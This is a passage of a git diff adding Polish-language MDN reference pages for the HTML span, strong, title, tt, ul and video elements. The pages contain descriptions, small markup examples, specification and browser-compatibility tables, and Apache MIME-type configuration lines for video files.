0000000000..93b455274c --- /dev/null +++ b/files/pl/web/html/element/span/index.html @@ -0,0 +1,138 @@ +--- +title: <span> +slug: Web/HTML/Element/span +translation_of: Web/HTML/Element/span +--- +<h2 id="Summary" name="Summary">Streszczenie</h2> + +<p><strong>HTML <code><span></code> element</strong> <span lang="pl">jest podstawowym wbudowanym kontenerem dla frazowania treści, który z natury nie reprezentuje niczego. Może być używany do grupowania tekstu w celu stylizacji</span> (używa atrybutu <code>class</code> lub <code>id</code>), <span lang="pl">lub z powodu posiadania takich samych atrybutów, takich jak </span><code>lang</code>.<span lang="pl"> Powinien być używany tylko wtedy, gdy nie ma zastosowania żaden inny element semantyczny</span>. <code><span></code> <span lang="pl">jest bardzo podobny do elementu</span> <code><div></code>, lecz <code><div></code> jest <a href="/en-US/docs/HTML/Block-level_elements">elementem blokowym</a>, a <code><span></code><a href="/en-US/docs/HTML/Inline_elements"> - elementem liniowym</a>.</p> + +<ul class="htmlelt"> + <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Kategorie treści</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">phrasing content</a>.</li> + <li><dfn>Dozwolone treści</dfn><a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">Phrasing content</a></li> + <li><dfn>Pomijanie tagów</dfn> {{no_tag_omission}}</li> + <li><dfn>Dozwolone elementy narzędne</dfn>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, or any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</li> + <li><dfn>Interfejs DOM</dfn> {{domxref("HTMLSpanElement")}} (before HTML 5, the interface was {{domxref("HTMLElement")}}</li> +</ul> + +<h2 id="Attributes" name="Attributes">Atrybuty</h2> + +<p><span style="line-height: 21px;">Ten element obejmuje tylko </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">globalne atrybuty</a><span style="line-height: 21px;">.</span></p> + +<h2 id="Example1" name="Example1">Przykład 1</h2> + +<pre class="brush:html;gutter:false"><p><span>tekst</span></p></pre> + +<h3 id="Result1" name="Result1">Wynik</h3> + +<p><span>tekst</span></p> + +<p> </p> + +<h2 id="Example2" name="Example2">Przykład 2</h2> + +<pre class="brush:html;gutter:false"><li><span> + <a href="profil.html" target="_blank">Zobacz mój profil</a> +</span></li> +</pre> + +<h3 id="CSS" name="CSS">CSS:</h3> + +<div class="note"> +<p>li span {<br> + background: gold;<br> + }</p> +</div> + +<h3 id="Result2" name="Result2">Wynik</h3> + +<ul> + <li><span style="background: gold;"> <a href="portfolio.html">Zobacz mój profil</a></span></li> +</ul> + +<h2 id="Dane_techniczne">Dane techniczne</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-span-element', '<span>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-span-element', '<span>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>The DOM interface is now {{domxref("HTMLSpanElement")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#edef-SPAN', '<span>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="See_also" name="See_also">Zgodność przeglądarek</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li>HTML {{HTMLElement("div")}} element</li> +</ul> + +<div>{{HTMLRef}}</div> diff --git a/files/pl/web/html/element/strong/index.html b/files/pl/web/html/element/strong/index.html new file mode 100644 index 0000000000..ed69903ce4 --- /dev/null +++ b/files/pl/web/html/element/strong/index.html @@ -0,0 +1,22 @@ +--- +title: strong +slug: Web/HTML/Element/strong +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/strong +--- +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> +<p>Element <code><strong>...</strong></code> daje mocny nacisk, zwykle jest on wyświetlany jako wytłuszczenie.</p> <h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> +<pre class="eval"> <p> + Kiedy robi się X, jest to <strong>wymagane</strong>, żeby najpierw zrobić Y. + </p> +</pre> <h3 id="Rezultat" name="Rezultat">Rezultat</h3> +<p>Kiedy robi się X, jest to <strong>wymagane</strong>, żeby najpierw zrobić Y.</p> <h2 id="Bold_vs._Strong" name="Bold_vs._Strong">Bold vs. Strong</h2> +<p>Jest to często trudne dla niedoświadczonych deweloperów, dlaczego jest tak dużo sposobów stworzenia tej samej rzeczy na stronie. Pogrubienie i silny nacisk jest prawdopodobnie jednym z najczęstszych. Czy należy używać <code><b></b></code> czy <code><strong></strong></code>? Czy tworzy to dokładnie ten sam wynik?</p> +<p>Nie do końca, silny nacisk jest stanem logicznym, a wytłuszczenie jest stanem fizycznym. Stany logiczne oddzielają prezentację od zawartości, dlatego może być to wyrażone na różne sposoby, na przykład zamiast wyświetlać kawałek tekstu jako pogrubienie, możesz wyświetlić to na czerwono, w innym rozmiarze, podkreślone lub jakkolwiek inaczej. Bardziej sensownym jest zmieniać właściwości prezentacyjne znacznika <code>strong</code> niż robić to z pogrubieniem. Jest tak, ponieważ pogrubienie jest stanem fizycznym, nie ma tutaj rozdziału pomiędzy prezentacją i zawartością, zmuszanie pogrubienia do robienia czegokolwiek innego niż wytłuszczania tekstu byłoby mylące i nielogiczne.</p> +<p>Zobacz także: <a href="/pl/HTML/Element/b" title="pl/HTML/Element/b">Znacznik <b></a></p> <p>{{ HTML:Element_Navigation() }}</p> +<p class="noinclude">{{ languages({ +"en": "en/HTML/Element/strong", +"de": "de/HTML/Element/strong", +"ja": "ja/HTML/Element/strong", +}) }}</p> diff --git a/files/pl/web/html/element/title/index.html b/files/pl/web/html/element/title/index.html new file mode 100644 index 0000000000..2f6f35f467 --- /dev/null +++ b/files/pl/web/html/element/title/index.html @@ -0,0 +1,122 @@ +--- +title: '<title>: Element Tytułu Dokumentu' +slug: Web/HTML/Element/title +tags: + - Element + - HTML + - HTML metadane dokumentu + - 'HTML:Metadane zawartość' + - Nazwa Okna + - Nazwa Strony + - Nazwa Zakładki + - Reference + - Tytuł + - Tytuł Okna + - Tytuł Strony + - Tytuł Zakładki + - Web +translation_of: Web/HTML/Element/title +--- +<div>{{HTMLRef}}</div> + +<p><span class="seoSummary"><strong>Element tytułu HTML</strong> (<strong><code><title></code></strong>) określa tytuł dokumentu, który jest wyświetlany na pasku tytułu przeglądarki lub w zakładce strony. Zawiera on tylko tekst, a znaczniki wewnątrz elementu są ignorowane.</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th> + <td><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories#Metadata_content">Zawartość metadanych</a>.</td> + </tr> + <tr> + <th scope="row">Dozwolona zawartość</th> + <td>Tekst, który nie jest przestrzenią białych znaków.</td> + </tr> + <tr> + <th scope="row">Pominięcie znacznika</th> + <td>Wymagane są zarówno znaczniki otwarcia jak i zamknięcia. Należy pamiętać, że pozostawienie <code></title></code> powinno spowodować, że przeglądarka będzie ignorować resztę strony.</td> + </tr> + <tr> + <th scope="row">Dozwoleni rodzice</th> + <td>Element {{ HTMLElement("head") }}, który nie zawiera żadnego innego elementu {{ HTMLElement("title") }}.</td> + </tr> + <tr> + <th scope="row">Dozwolone role ARIA</th> + <td>Brak.</td> + </tr> + <tr> + <th scope="row">Interfejs DOM</th> + <td>{{domxref("HTMLTitleElement")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Atrybuty">Atrybuty</h2> + +<p>Ten element uwzględnia tylko <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p> + +<h2 id="Uwagi_dotyczące_zastosowania">Uwagi dotyczące zastosowania</h2> + +<p>Element <code><title></code> jest zawsze używay w bloku {{HTMLElement("head")}} strony.</p> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: html"><title>Wspaniały tytuł strony</title> +</pre> + +<h2 id="Kwestie_dostępności">Kwestie dostępności</h2> + +<p>Ważne jest, aby podać wartość <code>tytułu</code>, która opisuje przeznaczenie strony. </p> + +<p>Powszechną techniką nawigacji dla użytkowników technologii wspomagającej jest czytanie tytułu strony i wnioskowanie, jaką treść ona zawiera. Dzieje się tak, ponieważ nawigacja po stronie w celu określenia jej zawartości może być czasochłonnym i potencjalnie mylącym procesem.</p> + +<h4 id="Przykład_2">Przykład</h4> + +<pre><title>Menu - Kuchnia Chińska Blue House - FoodYum: Już dziś online!</title> +</pre> + +<p>Aby pomóc użytkownikowi, zaktualizuj wartość <code>tytułu</code> strony tak, aby odzwierciedlała istotne zmiany stanu strony (np. problemy z walidacją formularza).</p> + +<h4 id="Przykład_3">Przykład</h4> + +<pre><title>2 błędy - Twoje zamówienie - Kuchnia Chińska Blue House - FoodYum: Już dziś online!</title> +</pre> + +<ul> + <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.4_%E2%80%94_Navigable_Provide_ways_to_help_users_navigate_find_content_and_determine_where_they_are">MDN Zrozumienie WCAG, Wytyczna 2.4 wyjaśnienie</a></li> + <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-title.html">Understanding Success Criterion 2.4.2 | W3C Understanding WCAG 2.0</a></li> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'semantics.html#the-title-element', '<title>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-title-element', '<title>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.2', '<title>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("html.elements.title")}}</p> diff --git a/files/pl/web/html/element/tt/index.html b/files/pl/web/html/element/tt/index.html new file mode 100644 index 0000000000..7e175b1d0c --- /dev/null +++ b/files/pl/web/html/element/tt/index.html @@ -0,0 +1,27 @@ +--- +title: tt +slug: Web/HTML/Element/tt +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/tt +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element HTML <code><tt>...</tt></code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Ten element jest przeznaczony do stylizacji tekstu jakby był pokazywany na wyświetlaczu o stałej szerokości znaków, takim jak dalekopis. Prawdopodobnie do wyświetlania stałej szerokości znaków bardziej powszechne jest używanie elementu <code><code></code>. +</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"> <p>Wpisz poniższy tekst w linii poleceń telnet: <kbd>set localecho</kbd><br /> + Klient telnet powinien wyświetlić: <tt>Local Echo is on</tt></p> +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p>Wpisz poniższy tekst w linii poleceń telnet: <kbd>set localecho</kbd><br> Klient telnet powinien wyświetlić: <tt>Local Echo is on</tt></p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Reguły CSS mogą być definiowane dla selektora <code>tt</code>, aby nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS. +</p><p>Chociaż element nie był wycofany w specyfikacji HTML 4.01, zaleca się rezygnację z jego używania na rzecz arkuszy stylów. +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/code">Znacznik <code>code</code></a> +</li><li> Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/present/graphics.html#h-15.2">Font Styles</a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/tt" } ) }} diff --git a/files/pl/web/html/element/ul/index.html b/files/pl/web/html/element/ul/index.html new file mode 100644 index 0000000000..8710984266 --- /dev/null +++ b/files/pl/web/html/element/ul/index.html @@ -0,0 +1,103 @@ +--- +title: ul +slug: Web/HTML/Element/ul +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/ul +--- +<p> </p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Element <code><ul></code> (Unordered list) jest używany do wskazania listy nieuporządkowanej, mianowicie zestawu punktów, które nie mają porządku liczbowego i ich kolejność w liście nie ma znaczenia. Poszczególne punkty w liście są definiowane poprzez element <a href="pl/HTML/Element/li">pozycja listy</a> (<a href="pl/HTML/Element/li"><li></a>), który jest jedynym dopuszczalnym elementem w znaczniku <code><ul></code>.</p> +<ul> + <li>Typ elementu: <a href="pl/HTML/Elementy_blokowe">blokowy</a></li> + <li>Dozwolona zawartość: <a href="pl/HTML/Element/li">li</a></li> +</ul> +<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3> +<dl> + <dt> + type {{ Deprecated_inline() }}</dt> + <dd> + Używany do ustawienia typu znaku wypunktowania dla listy. Wartościami zdefiniowanymi w <a href="pl/HTML3.2">HTML3.2</a> i wersji <a href="pl/HTML4.01">HTML 4.0/4.01</a> Transitional są <code>circle</code>, <code>disc</code> oraz <code>square</code>. Program użytkownika może zdecydować o wyborze innego wypunktowania, zależnie od poziomu zagnieżdżenia listy, chyba że jest użyty atrybut <code>type</code>. Interfejs WebTV wspiera również wypunktowanie <code>triangle</code>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>.</dd> +</dl> +<dl> + <dt> + compact {{ Deprecated_inline() }}</dt> + <dd> + Określa, że lista powinna być wyświetlona w zwartej formie. Interpretacja tego atrybutu zależy od programu użytkownika.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<h4 id="Prosty_przyk.C5.82ad" name="Prosty_przyk.C5.82ad">Prosty przykład</h4> +<pre> <ul> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> + </ul> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ul> + <li>pierwsza pozycja</li> + <li>druga pozycja</li> + <li>trzecia pozycja</li> +</ul> +<h4 id="Zagnie.C5.BCd.C5.BCona_lista" name="Zagnie.C5.BCd.C5.BCona_lista">Zagnieżdżona lista</h4> +<pre> <ul> + <li>pierwsza pozycja</li> + <li>druga pozycja <!-- Spójrz, zamykający znacznik </li> nie jest tutaj umieszczony --> + <ul> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ul> + </li> <!-- Tutaj jest zamykający znacznik </li> --> + <li>trzecia pozycja</li> + </ul> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ul> + <li>pierwsza pozycja</li> + <li>druga pozycja + <ul> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ul> + </li> + <li>trzecia pozycja</li> +</ul> +<h4 id="Zagnie.C5.BCd.C5.BCanie_.3Cul.3E_oraz_.3Col.3E" name="Zagnie.C5.BCd.C5.BCanie_.3Cul.3E_oraz_.3Col.3E">Zagnieżdżanie <ul> oraz <ol></h4> +<pre> <ul> + <li>pierwsza pozycja</li> + <li>druga pozycja <!-- Spójrz, zamykający znacznik </li> nie jest tutaj umieszczony --> + <ol> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ol> + </li> <!-- Tutaj jest zamykający znacznik </li> --> + <li>trzecia pozycja</li> + </ul> +</pre> +<p>Powyższy HTML daje w efekcie:</p> +<ul> + <li>pierwsza pozycja</li> + <li>druga pozycja + <ol> + <li>druga pozycja pierwszy podpunkt</li> + <li>druga pozycja drugi podpunkt</li> + <li>druga pozycja trzeci podpunkt</li> + </ol> + </li> + <li>trzecia pozycja</li> +</ul> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Możesz zagnieżdżać tak dużo list <code><ul></code> i <code><ol></code>, jak chcesz w dowolnej kolejności.</p> +<p>Aby zmienić wcięcie listy, użyj własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/margin">margin</a>.</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<ul> + <li><a href="pl/HTML/Element/li">Znacznik li (pozycja listy)</a></li> + <li><a href="pl/HTML/Element/ol">Znacznik ol (lista uporządkowana)</a></li> + <li><a href="pl/CSS/list-style">Własność CSS list-style</a></li> + <li><a href="pl/Liczniki_CSS">Liczniki CSS</a></li> +</ul> +<p>{{ HTML:Element_Navigation() }}</p> +<p>{{ languages( { "en": "en/HTML/Element/ul" } ) }}</p> diff --git a/files/pl/web/html/element/video/index.html b/files/pl/web/html/element/video/index.html new file mode 100644 index 0000000000..21d4ea9694 --- /dev/null +++ b/files/pl/web/html/element/video/index.html @@ -0,0 +1,355 @@ +--- +title: <video> +slug: Web/HTML/Element/video +translation_of: Web/HTML/Element/video +--- +<div> </div> + +<h2 id="Summary" name="Summary">W skrócie</h2> + +<p><strong>Element <code><video></code></strong> został stworzony do umieszczania treści wideo na stronie. Może zawierać wiele różnych źródeł z nagraniami, które określamy poprzez kolejne tagi {{HTMLElement("source")}} w nim zawarte albo poprzez atrybut <code>src</code>. Przeglądarka sama wybierze odpowiedni dla niej materiał.</p> + +<p>Jeżeli chcesz zobaczyć listę wspieranych formatów, zobacz koniecznie <a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Formaty mediów wspieranych przez elementy audio i video</a>.</p> + +<h2 id="Usage_context" name="Usage_context">Kontekst użycia</h2> + +<ul class="htmlelt"> + <li><dfn><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, phrasing content, embedded content. If it has a {{htmlattrxref("controls", "video")}} attribute: interactive content and palpable content.</li> + <li><dfn>Permitted content</dfn>If the element has a {{htmlattrxref("src", "video")}} attribute: zero or more {{HTMLElement("track")}} element, followed by transparent content that contains no media elements, that is no {{HTMLElement("audio")}} or {{HTMLElement("video")}}<br> + Else: zero or more {{HTMLElement("source")}} element, followed by zero or more {{HTMLElement("track")}} element, followed by transparent content that contains no media elements, that is no {{HTMLElement("audio")}} or {{HTMLElement("video")}}.</li> + <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li> + <li><dfn>Permitted parent elements</dfn> Any element that accepts embedded content.</li> + <li><dfn>DOM interface</dfn> {{domxref("HTMLVideoElement")}}</li> +</ul> + +<h2 id="Attributes" name="Attributes">Atrybuty</h2> + +<p>Podobnie jak inne tagi HTML, ten element może mieć przypisane <a href="/en-US/docs/HTML/Global_attributes" title="HTML/Global attributes">atrybuty globalne</a>.</p> + +<dl> + <dt>{{htmlattrdef("autoplay")}}</dt> + <dd>Atrybut typu Boolean; jeżeli go określimy, wideo zostanie odtworzone najszybciej, jak to możliwe bez zatrzymywania na czas dalszego pobierania.</dd> + <dt>{{htmlattrdef("autobuffer")}} {{Non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Atrybut typu Boolean; jeżeli go określimy wideo zacznie się buforować nawet wtedy, gdy nie zostało włączone automatyczne odtwarzanie. This should be used for cases in which it is considered likely that the video will be played (for example, if the user navigated to the page specifically to play the video, not if there happens to be a video embedded along with other content). The video is buffered until the media cache is full. + <div class="note"><strong>Notka implementacyjna:</strong> początkowo jako część wstępnych szkiców HTML5, atrybut<code> autobuffer</code> nie pojawił się już w kolejnych ich wydaniach. Został usunięty w Gecko 2.0 i innych przeglądarkach. W specyfikacji umieszczono nowy atrybut, <code>preload</code>, aby zastąpić atrybut <code>autobuffer</code> z inną składnią. {{bug(548523)}}</div> + </dd> + <dt>{{htmlattrdef("buffered")}}</dt> + <dd>An attribute you can read to determine which time ranges of the media have been buffered. This attribute contains a {{domxref("TimeRanges")}} object.</dd> + <dt>{{htmlattrdef("controls")}}</dt> + <dd>If this attribute is present, Gecko will offer controls to allow the user to control video playback, including volume, seeking, and pause/resume playback.</dd> + <dt>{{htmlattrdef("crossorigin")}}</dt> + <dd>This enumerated attribute indicates if the fetching of the related image must be done using CORS or not. <a href="/en-US/docs/CORS_Enabled_Image" title="CORS_Enabled_Image">CORS-enabled resources</a> can be reused in the {{HTMLElement("canvas")}} element without being <em>tainted</em>. The allowed values are: + <dl> + <dt>anonymous</dt> + <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the <code>Access-Control-Allow-Origin:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted..</dd> + <dt>use-credentials</dt> + <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through <code>Access-Control-Allow-Credentials:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted.</dd> + </dl> + When not present, the resource is fetched without a CORS request (i.e. without sending the <code>Origin:</code> HTTP header), preventing its non-tainted used in {{HTMLElement('canvas')}} elements. If invalid, it is handled as if the enumerated keyword <strong>anonymous</strong> was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes" title="CORS settings attributes">CORS settings attributes</a> for additional information.</dd> + <dt>{{htmlattrdef("height")}}</dt> + <dd>The height of the video's display area, in CSS pixels.</dd> + <dt>{{htmlattrdef("loop")}}</dt> + <dd>A Boolean attribute; if specified, we will, upon reaching the end of the video, automatically seek back to the start.</dd> + <dt>{{htmlattrdef("muted")}}</dt> + <dd>A Boolean attribute which indicates the default setting of the audio contained in the video. If set, the audio will be initially silenced. Its default value is false, meaning that the audio will be played when the video is played.</dd> + <dt>{{htmlattrdef("played")}}</dt> + <dd>A {{domxref("TimeRanges")}} object indicating all the ranges of the video that have been played.</dd> + <dt>{{htmlattrdef("preload")}}</dt> + <dd>This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. It may have one of the following values: + <ul> + <li><span style="font-family: Courier New;">none: </span>hints that either the author thinks that the user won't need to consult that video or that the server wants to minimize its traffic; in others terms this hint indicates that the video should not be cached.</li> + <li><span style="font-family: Courier New;">metadata</span>: hints that though the author thinks that the user won't need to consult that video, fetching the metadata (e.g. length) is reasonable.</li> + <li><span style="font-family: Courier New;">auto</span>: hints that the user needs have priority; in others terms this hint indicated that, if needed, the whole video could be downloaded, even if the user is not expected to use it.</li> + <li>the <em>empty string</em>: which is a synonym of the <span style="font-family: Courier New;">auto </span>value.</li> + </ul> + + <p>If not set, its default value is browser-defined (i.e. each browser can choose its own default value), though the spec advises it to be set to <span style="font-family: Courier New;">metadata</span>.</p> + + <div class="note"><strong>Usage notes:</strong> + + <ul> + <li>The <code>autoplay</code> attribute has precedence over this one as if one wants to automatically play a video, the browser will obviously need to download it. Setting both the <code>autoplay</code> and the <code>preload</code> attributes is allowed by the specification.</li> + <li>The browser is not forced by the specification to follow the value of this attribute; it is a mere hint.</li> + </ul> + </div> + </dd> + <dt>{{htmlattrdef("poster")}}</dt> + <dd>Adres URL do zdjęcia ("plakatu"), które zostanie wyświetlone w miejscu elementu wideo dopóki użytkownik nie odtworzy go lub nie przewinie. Jeżeli atrybut niezostanie podany, nic niezostanie wyświetlone dopóki pierwsza klatka nagrania zostanie załadowana; wtedy ona stanie się "plakatem".</dd> + <dt>{{htmlattrdef("src")}}</dt> + <dd>Adres URL materiału wideo do użycia. Jest to opcjonalne; zamiast tego powinieneś używać elementów {{HTMLElement("source")}} wewnątrz elementu wideo do określenia materiału do odtworzenia.</dd> + <dt>{{htmlattrdef("width")}}</dt> + <dd>Szerokość obszaru wyświetlania obrazu wideo, w pikselach.</dd> +</dl> + +<h2 id="Examples" name="Examples">Zdarzenia</h2> + +<p>Element <code><video></code> może wywoływać wiele <a href="/en-US/docs/Web/Guide/Events/Media_events">zdarzeń</a>.</p> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<pre class="brush: html" dir="rtl"><!-- Prosty przykład z elementem video --> +<video src="videofile.ogg" autoplay poster="posterimage.jpg"> + Przepraszamy ale Twoja przeglądarka nie potrafi odtwarzać filmów za pomocą HTML5. + Nie przejmuj się, bo <a href="videofile.ogg">możesz go stąd pobrać</a> + i oglądać za pomocą swojego ulubionego odtwarzacza! +</video> + +<!-- Wideo z napisami --> +<video src="foo.ogg"> + <track kind="subtitles" src="foo.en.vtt" srclang="en" label="English"> + <track kind="subtitles" src="foo.pl.vtt" srclang="pl" label="Polski"> +</video> +</pre> + +<p>Pierwszy przykład polega na odtworzeniu nagrania od razu po tym, jak odpowiednio duża część materiału zostanie pobrana, aby nie pauzować odtwarzania. Zanim zawartość elementu wideo zostanie wyświetlona, obrazek "posterimage.jpg" zostanie umieszczony w jej miejsce.</p> + +<p>Drugi przykład pozwala użytkownikowi na wybór odpowiednich napisów.</p> + +<h2 id="Server_support" name="Server_support">Wsparcie serwera</h2> + +<p>Jeżeli typ MIME dla elementu wideo niezostanie poprawnie ustawiony na serwerze, może się on nie pojawić albo pojawić jako szary obszar z X (jeżeli JavaScript jest włączony).</p> + +<p>Korzystając z Ogg Theora i pracując na Apache Web Server możesz rozwiązać ten problem dodając rozszerzenia używane przez Twoje pliki wideo (".ogm", ".ogv" i ".ogg" są najpowszechniejsze) do typów MIME "video/ogg" w pliku "mime.types" w folderze "/etc/apache" albo poprzez komendę konfiguracyjną "AddType" w pliku httpd.conf.</p> + +<pre>AddType video/ogg .ogm +AddType video/ogg .ogv +AddType video/ogg .ogg +</pre> + +<p>Korzystając z WebM i pracując na Apache Web Server możesz rozwiązać ten problem dodając rozszerzenie używane przez Twoje pliki wideo (".webm" jest najpowszechniejszy) do typów MIME "video/webm" w pliku "mime.types" w folderze "/etc/apache" albo poprzez komendę konfiguracyjną "AddType" w pliku httpd.conf.</p> + +<pre>AddType video/webm .webm +</pre> + +<p>Pamiętaj, że Twój hosting internetowy może dostarczać łatwiejsze sposoby konfiguracji typów MIME, aby obsługiwać najnowsze technologie zanim globalnie zostaną wprowadzone w użycie.</p> + +<h2 id="DOM_interface" name="DOM_interface">Interfejs DOM</h2> + +<p>Ten element implementuje interfejs <code><a href="/en-US/docs/Web/API/HTMLVideoElement" title="DOM/HTMLVideoElementInterface">HTMLVideoElement</a></code>.</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + </tr> + <tr> + <td>atrybut <code>autoplay</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + 